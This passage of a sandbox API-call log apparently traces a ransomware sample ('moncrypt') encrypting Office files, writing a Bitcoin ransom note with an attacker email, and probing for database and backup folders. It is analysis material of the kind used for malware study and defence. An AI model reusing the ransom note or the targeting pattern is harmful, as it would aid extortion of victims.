dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.213] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.213] CloseHandle (hObject=0x190) returned 1 [0048.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.213] GlobalLock (hMem=0x440004) returned 0x555860 [0048.213] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.213] GlobalUnlock (hMem=0x440004) returned 0 [0048.213] GlobalLock (hMem=0x440004) returned 0x555860 [0048.213] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.213] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.213] GlobalUnlock (hMem=0x440004) returned 0 [0048.213] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.213] GlobalUnlock (hMem=0x44000c) returned 0 [0048.213] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69a18, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.214] GetLastError () returned 0x2 [0048.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.214] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc068*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.215] CloseHandle (hObject=0x190) returned 1 [0048.215] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.215] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.215] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.215] GlobalUnlock (hMem=0x44000c) returned 0 [0048.215] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.215] GlobalLock (hMem=0x440004) returned 0x557870 [0048.215] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.215] GlobalUnlock (hMem=0x44000c) returned 0 [0048.215] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.215] GlobalUnlock (hMem=0x440004) returned 0 [0048.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e051f00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e051f00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.215] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.215] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.215] GlobalLock (hMem=0x440004) returned 0x555860 [0048.215] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.216] GlobalUnlock (hMem=0x440004) returned 0 [0048.216] GlobalLock (hMem=0x440004) returned 0x555860 [0048.216] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.216] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.216] GlobalUnlock (hMem=0x440004) returned 0 [0048.216] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.216] GlobalUnlock (hMem=0x44000c) returned 0 [0048.216] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.216] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e051f00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e051f00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.216] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.216] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.216] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.216] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.216] GlobalUnlock (hMem=0x44000c) returned 0 [0048.216] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.216] GlobalLock (hMem=0x440004) returned 0x557870 [0048.216] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.216] GlobalUnlock (hMem=0x44000c) returned 0 [0048.216] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.216] GlobalUnlock (hMem=0x440004) returned 0 [0048.216] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.216] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e051f00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e051f00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e051f00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.216] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.216] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.216] GlobalLock (hMem=0x440004) returned 0x555860 [0048.216] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.216] GlobalUnlock (hMem=0x440004) returned 0 [0048.216] GlobalLock (hMem=0x440004) returned 0x555860 [0048.217] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.217] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.217] GlobalUnlock (hMem=0x440004) returned 0 [0048.217] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.217] GlobalUnlock (hMem=0x44000c) returned 0 [0048.217] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.217] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1175, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML.moncrypt", cAlternateFileName="OFFICE~1.MON")) returned 1 [0048.217] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.217] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.217] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.217] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.217] GlobalUnlock (hMem=0x44000c) returned 0 [0048.217] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.217] GlobalLock (hMem=0x440004) returned 0x557870 [0048.217] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.217] GlobalUnlock (hMem=0x44000c) returned 0 [0048.217] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.217] GlobalUnlock (hMem=0x440004) returned 0 [0048.217] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.217] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1175, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML.moncrypt", cAlternateFileName="OFFICE~1.MON")) returned 0 [0048.217] GetLastError () returned 0x12 [0048.217] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.217] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.217] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.217] GlobalLock (hMem=0x440004) returned 0x555860 [0048.217] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.217] GlobalUnlock (hMem=0x440004) returned 0 [0048.218] GlobalLock (hMem=0x440004) returned 0x555860 [0048.218] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.218] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.218] GlobalUnlock (hMem=0x440004) returned 0 [0048.218] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.218] GlobalUnlock (hMem=0x44000c) returned 0 [0048.218] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.218] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.218] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.218] GlobalUnlock (hMem=0x44000c) returned 0 [0048.218] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.218] GlobalLock (hMem=0x440004) returned 0x557870 [0048.218] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.218] GlobalUnlock (hMem=0x44000c) returned 0 [0048.218] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.218] GlobalUnlock (hMem=0x440004) returned 0 [0048.218] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.218] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us", len=0x5d | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us") returned 1 [0048.218] GlobalLock (hMem=0x440004) returned 0x555860 [0048.218] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.218] GlobalUnlock (hMem=0x440004) returned 0 [0048.218] GlobalLock (hMem=0x440004) returned 0x555860 [0048.218] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.218] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.218] GlobalUnlock (hMem=0x440004) returned 0 [0048.218] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.218] GlobalUnlock (hMem=0x44000c) returned 0 [0048.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@肴R肈R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0048.219] GetLastError () returned 0x3 [0048.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18㿬Q\x181")) returned 0xffffffff [0048.220] GetLastError () returned 0x2 [0048.220] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@卜U企@\x18?T\x18;")) returned 0xffffffff [0048.220] GetLastError () returned 0x2 [0048.221] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@册U企@\x18?T\x18D")) returned 0xffffffff [0048.221] GetLastError () returned 0x2 [0048.221] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18卜U\x18j")) returned 0xffffffff [0048.222] GetLastError () returned 0x2 [0048.222] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@⨴R企@\x18?T\x18q")) returned 0xffffffff [0048.222] GetLastError () returned 0x2 [0048.222] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\単UĀ") returned 6 [0048.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@∜R企@\x18?T\x18y")) returned 0xffffffff [0048.223] GetLastError () returned 0x2 [0048.223] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0048.223] GetLastError () returned 0x2 [0048.223] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@册U企@\x18?T\x18\x88")) returned 0xffffffff [0048.224] GetLastError () returned 0x2 [0048.224] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\", cchLength=0x5e | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\") returned 0x5e [0048.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69a38, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, 